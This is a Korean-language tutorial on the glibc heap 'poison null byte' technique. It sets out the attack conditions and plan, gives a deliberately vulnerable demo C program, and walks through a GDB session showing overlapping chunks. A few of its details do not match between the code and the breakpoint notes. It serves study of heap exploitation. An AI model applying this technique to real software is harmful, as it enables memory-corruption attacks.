Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow 3.4 Debugging 4 Related information Conditions 해당기술은다음과같은조건에서동작합니다. 공격자에의해다음과같은 Heap 영역을할당, 해제할수있어야합니다. 0x200 이상의 Heap 영역 : 공격대상 Heap 영역 Fast bin 이상의 Heap 영역 (Heap size : 0x80 이상 ) : 공격대상영역에할당 Heap 영역공격자에의해 Free chunk 의 size 영역에 1byte 를 Null 로변경할수있어야합니다. 공격자에의해 Free chunk 의 size 보다작은 Heap 영역을 2 개할당할수있어야합니다. Fast chunk 는사용할수없습니다. Exploit plan 다음과같은방법으로공격할수있습니다. 3 개의 Heap 영역을할당합니다. 할당받을 Heap영역의크기 : Heap1(0x80), Heap2(0x200), Heap3(0x80) 다음과같은영역에 "Header의 size영역에 1byte를 Null로변경한값 " 을저장합니다. "Heap2의 Header주소 + Heap size에 1byte를 Null로변경한값 Heap2 영역을해제합니다. Free chunk의 size 영역에 1byte를 null로변경합니다. Ex) 0x211 0x200 변경된 Free chunk의영역안에생성가능한크기의 Heap 영역을 2개할당받습니다. 할당받을 Heap영역의크기 : Heap4(0x80), Heap5(0x80) Heap4 영역을해제합니다. Heap3 영역을해제합니다. "Heap4 크기 + Heap5 크기 " 이상의 Heap 영역을할당받습니다. 할당받은영역으로인해 Heap5 영역의값을덮어쓸수있습니다. chunksize(p)!= prev_size (next_chunk(p) Heap 영역내에 "size & 0xff00" 값을저장하는이유는다음과같습니다. chunk 의 size 값만 null byte 로변경할경우 "corrupted size vs. prev_size" 에러가발생합니다. 해당에러는 unlink() 함수에서 chunk 의 size 값과다음 chunk 의 prev_size 값이같은지확인하고있기때문입니다. 해당코드를우회하기위해 Fake prev_size 가필요합니다. " 영역 #define unlink(av, P, BK, FD) /* Take a chunk off a bin list */ #define unlink(av, P, BK, FD) { \ if ( builtin_expect (chunksize(p)!= prev_size (next_chunk(p)), 0)) \ malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
Example Files poisonnullbyte poisonnullbyte.c Source code #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h> int main() { char *buf1 = malloc(0x80); char *buf2 = malloc(0x200); char *buf3 = malloc(0x80); scanf("%512s",buf2); free(buf2); scanf("%136s",buf1); char *buf4 = malloc(0x80); char *buf5 = malloc(0x80); memset(buf5,'a',0x80); free(buf4); free(buf3); } char *buf6 = malloc(0x280); memset(buf6,'b',0x280); Exploit flow Poison null byte Debugging 다음과같이 Break point 를설정합니다. 0x400670 : scanf("%256s",buf2) 호출 0x400681 : free(buf2) 호출후 0x400697 : scanf("%128s",buf1) 호출후 0x4006a1 : malloc(0x80) 호출후
0x4006af : malloc(0x80) 호출후 0x4006c9 : memset(buf5,'a',0x80) 호출후 0x4006d5 : free(buf4) 호출후 0x4006e1 : free(buf5) 호출후 0x4006eb : malloc(0x180) 호출후 0x400705 : memset(buf6,'b',0x180) 호출후 Break points b *0x0000000000400670 Breakpoint 1 at 0x400670 b *0x0000000000400681 Breakpoint 2 at 0x400681 b *0x0000000000400697 Breakpoint 3 at 0x400697 b *0x00000000004006a1 Breakpoint 4 at 0x4006a1 b *0x00000000004006af Breakpoint 5 at 0x4006af b *0x00000000004006c9 Breakpoint 6 at 0x4006c9 b *0x00000000004006d5 Breakpoint 7 at 0x4006d5 b *0x00000000004006e1 Breakpoint 8 at 0x4006e1 b *0x00000000004006eb Breakpoint 9 at 0x4006eb b *0x0000000000400705 Breakpoint 10 at 0x400705 r Starting program: /home/lazenca0x0/documents/def/poisonnullbyte 다음과같이 Heap 영역이할당되었습니다. malloc(0x80) : 0x602010 malloc(0x100) : 0x6020a0 malloc(0x80) : 0x6022b0 사용자입력값에의해 Fake prev_size 를생성할수있습니다. Fake prev_size 주소 : buf2 의 Header 주소 (0x602090) + (buf2 Header 의 size(0x211) & null byte(0xff00)) = 0x602290 Fake prev_size 값 : buf2 Header 의 size(0x211) & null byte(0xff00) = 0x200
Wrote a fake prev_size Breakpoint 1, 0x0000000000400670 in main () x/104gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x0000000000000000 0x0000000000000000... 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000211 0x6020a0: 0x0000000000000000 0x0000000000000000... 0x602290: 0x0000000000000000 0x0000000000000000 0x6022a0: 0x0000000000000000 0x0000000000000091 0x6022b0: 0x0000000000000000 0x0000000000000000... 0x602320: 0x0000000000000000 0x0000000000000000 0x602330: 0x0000000000000000 0x0000000000020cd1 ni CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC 0x0000000000400675 in main () x/66gx 0x6020a0 0x6020a0: 0x4343434343434343 0x4343434343434343 0x6020c0: 0x4343434343434343 0x4343434343434343 0x6020d0: 0x4343434343434343 0x4343434343434343 0x6020e0: 0x4343434343434343 0x4343434343434343 0x6020f0: 0x4343434343434343 0x4343434343434343 0x602100: 0x4343434343434343 0x4343434343434343 0x602110: 0x4343434343434343 0x4343434343434343 0x602120: 0x4343434343434343 0x4343434343434343 0x602130: 0x4343434343434343 0x4343434343434343 0x602140: 0x4343434343434343 0x4343434343434343 0x602150: 0x4343434343434343 0x4343434343434343 0x602160: 0x4343434343434343 0x4343434343434343 0x602170: 0x4343434343434343 0x4343434343434343 0x602180: 0x4343434343434343 0x4343434343434343 0x602190: 0x4343434343434343 0x4343434343434343 0x6021a0: 0x4343434343434343 0x4343434343434343 0x6021b0: 0x4343434343434343 0x4343434343434343 0x6021c0: 0x4343434343434343 0x4343434343434343 0x6021d0: 0x4343434343434343 0x4343434343434343 0x6021e0: 0x4343434343434343 0x4343434343434343 0x6021f0: 0x4343434343434343 0x4343434343434343 0x602200: 0x4343434343434343 0x4343434343434343 0x602210: 0x4343434343434343 0x4343434343434343 0x602220: 0x4343434343434343 0x4343434343434343 0x602230: 0x4343434343434343 0x4343434343434343 0x602240: 0x4343434343434343 0x4343434343434343 0x602250: 0x4343434343434343 0x4343434343434343 0x602260: 0x4343434343434343 0x4343434343434343 0x602270: 0x4343434343434343 0x4343434343434343 0x602280: 0x4343434343434343 0x4343434343434343 0x602290: 0x4343434343434343 0x4343434343434343 0x6022a0: 0x0000000000000000 0x0000000000000091 set *0x602290 = 0x200 set *0x602294 = 0x0 x/gx 0x602290 0x602290: 0x0000000000000200 다음과같이 free chunk 의 size 영역에 1byte 를 null 로변경할수있습니다. 사용자입력값으로문자 'D' 를 136 개입력하였습니다.
size 값이 0x211 에서 0x200 으로변경되었습니다. Overwrite a null byte in the size area of Free Chunk c Breakpoint 2, 0x0000000000400681 in main () x/6gx 0x602090 0x602090: 0x0000000000000000 0x0000000000000211 0x6020a0: 0x00007ffff7dd37b8 0x00007ffff7dd37b8 p main_arena.bins[1] $1 = (mchunkptr) 0x602090 c DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDD Breakpoint 3, 0x0000000000400697 in main () x/24gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x4444444444444444 0x4444444444444444 0x602020: 0x4444444444444444 0x4444444444444444 0x602030: 0x4444444444444444 0x4444444444444444 0x602040: 0x4444444444444444 0x4444444444444444 0x602050: 0x4444444444444444 0x4444444444444444 0x602060: 0x4444444444444444 0x4444444444444444 0x602070: 0x4444444444444444 0x4444444444444444 0x602080: 0x4444444444444444 0x4444444444444444 0x602090: 0x4444444444444444 0x0000000000000200 0x6020a0: 0x00007ffff7dd37b8 0x00007ffff7dd37b8 다음과같이 Heap 영역을할당받습니다. 할당받은 Heap 영역은해제된 buf2 영역내에할당됩니다. 할당된영역 : 0x6020a0, 0x602130 malloc(0x80),malloc(0x80) c Breakpoint 4, 0x00000000004006a1 in main () i r rax rax 0x6020a0 0x6020a0 p main_arena.bins[1] $2 = (mchunkptr) 0x602120 c Breakpoint 5, 0x00000000004006af in main () i r rax rax 0x602130 0x602130 p main_arena.bins[1] $3 = (mchunkptr) 0x6021b0 다음과같이 buf5 영역에문자 'A' 128 개저장합니다.
memset(buf5,'a',0x80) c Breakpoint 6, 0x00000000004006c9 in main () x/18gx 0x602130 0x602130: 0x4141414141414141 0x4141414141414141 0x602140: 0x4141414141414141 0x4141414141414141 0x602150: 0x4141414141414141 0x4141414141414141 0x602160: 0x4141414141414141 0x4141414141414141 0x602170: 0x4141414141414141 0x4141414141414141 0x602180: 0x4141414141414141 0x4141414141414141 0x602190: 0x4141414141414141 0x4141414141414141 0x6021a0: 0x4141414141414141 0x4141414141414141 0x6021b0: 0x4343434343434343 0x00000000000000e1 다음과같이 buf4 영역을해제합니다. 이로인해다음과같이 free chunk 의값들에변화가발생하게됩니다. buf4 Free chunk 의 fd : 0x6021b0 0x6021b0 Free chunk 의 bk : 0x602090
free(buf4) c Breakpoint 7, 0x00000000004006d5 in main () x/86gx 0x602090 0x602090: 0x4444444444444444 0x0000000000000091 0x6020a0: 0x00000000006021b0 0x00007ffff7dd37b8 0x6020c0: 0x4343434343434343 0x4343434343434343 0x6020d0: 0x4343434343434343 0x4343434343434343 0x6020e0: 0x4343434343434343 0x4343434343434343 0x6020f0: 0x4343434343434343 0x4343434343434343 0x602100: 0x4343434343434343 0x4343434343434343 0x602110: 0x4343434343434343 0x4343434343434343 0x602120: 0x0000000000000090 0x0000000000000090 0x602130: 0x4141414141414141 0x4141414141414141 0x602140: 0x4141414141414141 0x4141414141414141 0x602150: 0x4141414141414141 0x4141414141414141 0x602160: 0x4141414141414141 0x4141414141414141 0x602170: 0x4141414141414141 0x4141414141414141 0x602180: 0x4141414141414141 0x4141414141414141 0x602190: 0x4141414141414141 0x4141414141414141 0x6021a0: 0x4141414141414141 0x4141414141414141 0x6021b0: 0x4343434343434343 0x00000000000000e1 0x6021c0: 0x00007ffff7dd37b8 0x0000000000602090 0x6021d0: 0x4343434343434343 0x4343434343434343 0x6021e0: 0x4343434343434343 0x4343434343434343 0x6021f0: 0x4343434343434343 0x4343434343434343 0x602200: 0x4343434343434343 0x4343434343434343 0x602210: 0x4343434343434343 0x4343434343434343 0x602220: 0x4343434343434343 0x4343434343434343 0x602230: 0x4343434343434343 0x4343434343434343 0x602240: 0x4343434343434343 0x4343434343434343 0x602250: 0x4343434343434343 0x4343434343434343 0x602260: 0x4343434343434343 0x4343434343434343 0x602270: 0x4343434343434343 0x4343434343434343 0x602280: 0x4343434343434343 0x4343434343434343 0x602290: 0x00000000000000e0 0x4343434343434343 0x6022a0: 0x0000000000000210 0x0000000000000090 0x6022b0: 0x0000000000000000 0x0000000000000000 0x6022c0: 0x0000000000000000 0x0000000000000000 0x6022d0: 0x0000000000000000 0x0000000000000000 0x6022e0: 0x0000000000000000 0x0000000000000000 0x6022f0: 0x0000000000000000 0x0000000000000000 0x602300: 0x0000000000000000 0x0000000000000000 0x602310: 0x0000000000000000 0x0000000000000000 0x602320: 0x0000000000000000 0x0000000000000000 0x602330: 0x0000000000000000 0x0000000000020cd1 다음과같이 buf3 영역해제하면 Top chunk 영역이변경됩니다. Top chunk 영역 : 0x602098 Top chunk 영역이 0x602098 으로변경된이유는다음과같습니다. buf3의 prev_size의값이 0x210이기때문에 0x6021b8에 Top chunk가생성되지않습니다. buf3의이전 Chunk 위치 : buf3의 Allocated chunk address( 0x6022a0) - buf3의 prev_size(0x210) = 0x602090
free(buf3) c Breakpoint 8, 0x00000000004006e1 in main () x/86gx 0x602090 0x602090: 0x4444444444444444 0x0000000000020f71 0x6020a0: 0x00000000006021b0 0x00007ffff7dd37b8 0x6020c0: 0x4343434343434343 0x4343434343434343 0x6020d0: 0x4343434343434343 0x4343434343434343 0x6020e0: 0x4343434343434343 0x4343434343434343 0x6020f0: 0x4343434343434343 0x4343434343434343 0x602100: 0x4343434343434343 0x4343434343434343 0x602110: 0x4343434343434343 0x4343434343434343 0x602120: 0x0000000000000090 0x0000000000000090 0x602130: 0x4141414141414141 0x4141414141414141 0x602140: 0x4141414141414141 0x4141414141414141 0x602150: 0x4141414141414141 0x4141414141414141 0x602160: 0x4141414141414141 0x4141414141414141 0x602170: 0x4141414141414141 0x4141414141414141 0x602180: 0x4141414141414141 0x4141414141414141 0x602190: 0x4141414141414141 0x4141414141414141 0x6021a0: 0x4141414141414141 0x4141414141414141 0x6021b0: 0x4343434343434343 0x00000000000000e1 0x6021c0: 0x00007ffff7dd37b8 0x00007ffff7dd37b8 0x6021d0: 0x4343434343434343 0x4343434343434343 0x6021e0: 0x4343434343434343 0x4343434343434343 0x6021f0: 0x4343434343434343 0x4343434343434343 0x602200: 0x4343434343434343 0x4343434343434343 0x602210: 0x4343434343434343 0x4343434343434343 0x602220: 0x4343434343434343 0x4343434343434343 0x602230: 0x4343434343434343 0x4343434343434343 0x602240: 0x4343434343434343 0x4343434343434343 0x602250: 0x4343434343434343 0x4343434343434343 0x602260: 0x4343434343434343 0x4343434343434343 0x602270: 0x4343434343434343 0x4343434343434343 0x602280: 0x4343434343434343 0x4343434343434343 0x602290: 0x00000000000000e0 0x4343434343434343 0x6022a0: 0x0000000000000210 0x0000000000000090 0x6022b0: 0x0000000000000000 0x0000000000000000 0x6022c0: 0x0000000000000000 0x0000000000000000 0x6022d0: 0x0000000000000000 0x0000000000000000 0x6022e0: 0x0000000000000000 0x0000000000000000 0x6022f0: 0x0000000000000000 0x0000000000000000 0x602300: 0x0000000000000000 0x0000000000000000 0x602310: 0x0000000000000000 0x0000000000000000 0x602320: 0x0000000000000000 0x0000000000000000 0x602330: 0x0000000000000000 0x0000000000020cd1 다음과같이 buf5 영역을덮어쓰는 Heap 영역을할당받을수있습니다. 할당받은영역 : 0x6020a0 할당받은크기 : 0x290
malloc(0x280) c Breakpoint 9, 0x00000000004006eb in main () i r rax rax 0x6020a0 0x6020a0 x/86gx 0x602090 0x602090: 0x4444444444444444 0x0000000000000291 0x6020a0: 0x00000000006021b0 0x00007ffff7dd37b8 0x6020c0: 0x4343434343434343 0x4343434343434343 0x6020d0: 0x4343434343434343 0x4343434343434343 0x6020e0: 0x4343434343434343 0x4343434343434343 0x6020f0: 0x4343434343434343 0x4343434343434343 0x602100: 0x4343434343434343 0x4343434343434343 0x602110: 0x4343434343434343 0x4343434343434343 0x602120: 0x0000000000000090 0x0000000000000090 0x602130: 0x4141414141414141 0x4141414141414141 0x602140: 0x4141414141414141 0x4141414141414141 0x602150: 0x4141414141414141 0x4141414141414141 0x602160: 0x4141414141414141 0x4141414141414141 0x602170: 0x4141414141414141 0x4141414141414141 0x602180: 0x4141414141414141 0x4141414141414141 0x602190: 0x4141414141414141 0x4141414141414141 0x6021a0: 0x4141414141414141 0x4141414141414141 0x6021b0: 0x4343434343434343 0x00000000000000e1 0x6021c0: 0x00007ffff7dd3888 0x00007ffff7dd3888 0x6021d0: 0x4343434343434343 0x4343434343434343 0x6021e0: 0x4343434343434343 0x4343434343434343 0x6021f0: 0x4343434343434343 0x4343434343434343 0x602200: 0x4343434343434343 0x4343434343434343 0x602210: 0x4343434343434343 0x4343434343434343 0x602220: 0x4343434343434343 0x4343434343434343 0x602230: 0x4343434343434343 0x4343434343434343 0x602240: 0x4343434343434343 0x4343434343434343 0x602250: 0x4343434343434343 0x4343434343434343 0x602260: 0x4343434343434343 0x4343434343434343 0x602270: 0x4343434343434343 0x4343434343434343 0x602280: 0x4343434343434343 0x4343434343434343 0x602290: 0x00000000000000e0 0x4343434343434343 0x6022a0: 0x0000000000000210 0x0000000000000090 0x6022b0: 0x0000000000000000 0x0000000000000000 0x6022c0: 0x0000000000000000 0x0000000000000000 0x6022d0: 0x0000000000000000 0x0000000000000000 0x6022e0: 0x0000000000000000 0x0000000000000000 0x6022f0: 0x0000000000000000 0x0000000000000000 0x602300: 0x0000000000000000 0x0000000000000000 0x602310: 0x0000000000000000 0x0000000000000000 0x602320: 0x0000000000000000 0x0000000000020ce1 0x602330: 0x0000000000000000 0x0000000000020cd1 할당받은영역에값을저장해 buf5 영역을덮어쓸수있습니다.
memset(buf6,'b',0x280) c Breakpoint 10, 0x0000000000400705 in main () x/86gx 0x602090 0x602090: 0x4444444444444444 0x0000000000000291 0x6020a0: 0x4242424242424242 0x4242424242424242 0x6020b0: 0x4242424242424242 0x4242424242424242 0x6020c0: 0x4242424242424242 0x4242424242424242 0x6020d0: 0x4242424242424242 0x4242424242424242 0x6020e0: 0x4242424242424242 0x4242424242424242 0x6020f0: 0x4242424242424242 0x4242424242424242 0x602100: 0x4242424242424242 0x4242424242424242 0x602110: 0x4242424242424242 0x4242424242424242 0x602120: 0x4242424242424242 0x4242424242424242 0x602130: 0x4242424242424242 0x4242424242424242 0x602140: 0x4242424242424242 0x4242424242424242 0x602150: 0x4242424242424242 0x4242424242424242 0x602160: 0x4242424242424242 0x4242424242424242 0x602170: 0x4242424242424242 0x4242424242424242 0x602180: 0x4242424242424242 0x4242424242424242 0x602190: 0x4242424242424242 0x4242424242424242 0x6021a0: 0x4242424242424242 0x4242424242424242 0x6021b0: 0x4242424242424242 0x4242424242424242 0x6021c0: 0x4242424242424242 0x4242424242424242 0x6021d0: 0x4242424242424242 0x4242424242424242 0x6021e0: 0x4242424242424242 0x4242424242424242 0x6021f0: 0x4242424242424242 0x4242424242424242 0x602200: 0x4242424242424242 0x4242424242424242 0x602210: 0x4242424242424242 0x4242424242424242 0x602220: 0x4242424242424242 0x4242424242424242 0x602230: 0x4242424242424242 0x4242424242424242 0x602240: 0x4242424242424242 0x4242424242424242 0x602250: 0x4242424242424242 0x4242424242424242 0x602260: 0x4242424242424242 0x4242424242424242 0x602270: 0x4242424242424242 0x4242424242424242 0x602280: 0x4242424242424242 0x4242424242424242 0x602290: 0x4242424242424242 0x4242424242424242 0x6022a0: 0x4242424242424242 0x4242424242424242 0x6022b0: 0x4242424242424242 0x4242424242424242 0x6022c0: 0x4242424242424242 0x4242424242424242 0x6022d0: 0x4242424242424242 0x4242424242424242 0x6022e0: 0x4242424242424242 0x4242424242424242 0x6022f0: 0x4242424242424242 0x4242424242424242 0x602300: 0x4242424242424242 0x4242424242424242 0x602310: 0x4242424242424242 0x4242424242424242 0x602320: 0x0000000000000000 0x0000000000020ce1 0x602330: 0x0000000000000000 0x0000000000020cd1 Related information https://github.com/shellphish/how2heap http://www.contextis.com/documents/120/glibc_adventures-the_forgotten_chunks.pdf https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=malloc/malloc.c;hb=head https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30